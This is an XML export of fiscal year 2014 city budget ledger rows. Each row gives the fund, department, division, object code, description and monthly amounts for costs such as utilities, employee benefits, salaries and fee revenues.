<row _id="13389"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522129.0</object><object_description>UTIL-GAS-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1250.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1250.0</total></row>
<row _id="13390"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522135.0</object><object_description>UTILITIES - WATER - PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>48928.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48928.0</total></row>
<row _id="13391"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533219.0</object><object_description>BLDG OPER/SUPPLIES-COM FAC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>155400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>155400.0</total></row>
<row _id="13392"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG OPER/SUPPLIES-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>41180.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41180.0</total></row>
<row _id="13393"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CONT SVCS-CITY TV</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9409.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9409.0</total></row>
<row _id="13394"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="13395"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555951.0</object><object_description>FAC MAINT-KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-17000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-17000.0</total></row>
<row _id="13396"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3100.0</total></row>
<row _id="13397"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533226.0</object><object_description>BLDG/STR MAINT-LIBRARY</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>180000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>180000.0</total></row>
<row _id="13398"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2738.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>2738</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13399"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-48337.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>48337</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13400"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>973.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>973.0</total></row>
<row _id="13401"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1344.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1344.0</total></row>
<row _id="13402"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5270.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>102.19</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5372.19</total></row>
<row _id="13403"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1653.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>41.67</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1694.67</total></row>
<row _id="13404"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>975.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>975.0</total></row>
<row _id="13405"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>369514.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>92410</december><january>-1087.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>460837.0</total></row>
<row _id="13406"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>309734.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>309734.0</total></row>
<row _id="13407"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>69990.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>69990.0</total></row>
<row _id="13408"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6952.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6952.0</total></row>
<row _id="13409"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3874.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3874.0</total></row>
<row _id="13410"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>216043.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-6410.42</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>209632.58</total></row>
<row _id="13411"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>41793.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>123.55</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41916.55</total></row>
<row _id="13412"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>769901.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>4166.67</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>774067.67</total></row>
<row _id="13413"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>530432.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>530432.0</total></row>
<row _id="13414"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2940.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2940.0</total></row>
<row _id="13415"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409073.0</object><object_description>ROSIE'S GIRLS-SUMMER II</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-17991.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>17991</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13416"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402460.0</object><object_description>TENANT UTILITIES PAYMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-147492.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-147492.0</total></row>
<row _id="13417"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400580.0</object><object_description>FILMING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-146334.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-146334.0</total></row>
<row _id="13418"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>809.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>809.0</total></row>
<row _id="13419"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3479.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3479.0</total></row>
<row _id="13420"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544015.0</object><object_description>FIELD EQUIP &amp; TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="13421"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544012.0</object><object_description>MEMBRANE REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>271940.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>271940.0</total></row>
<row _id="13422"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>301546.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>301546.0</total></row>
<row _id="13423"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555016.0</object><object_description>OUTSIDE REPAIRS-HZRDOUS WASTE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>93788.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>93788.0</total></row>
<row _id="13424"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>403660.0</object><object_description>LIBRARY NON-RESIDENT FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-235000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>50000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-185000.0</total></row>
<row _id="13425"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="13426"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>404970.0</object><object_description>OFFSITE IMPROVEMENTS REIMBURSE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-50000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>50000</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13427"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>405140.0</object><object_description>415 PCH - CONCESSIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-172000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-172000.0</total></row>
<row _id="13428"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8867.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>130</december><january>194.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9191.0</total></row>
<row _id="13429"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>121189.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>4167.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>125356.0</total></row>
<row _id="13430"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2883.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>45</december><january>66.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2994.0</total></row>
<row _id="13431"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>552.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>25.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>577.0</total></row>
<row _id="13432"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26000.0</total></row>
<row _id="13433"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>75000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75000.0</total></row>
<row _id="13434"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2600.0</total></row>
<row _id="13435"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>133372.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>133372.0</total></row>
<row _id="13436"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2940.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>46</december><january>538.52</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3524.52</total></row>
